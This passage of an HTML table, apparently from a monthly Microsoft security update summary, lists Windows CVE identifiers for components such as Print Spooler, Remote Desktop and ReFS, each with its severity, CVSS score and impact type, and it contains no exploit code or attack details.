  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
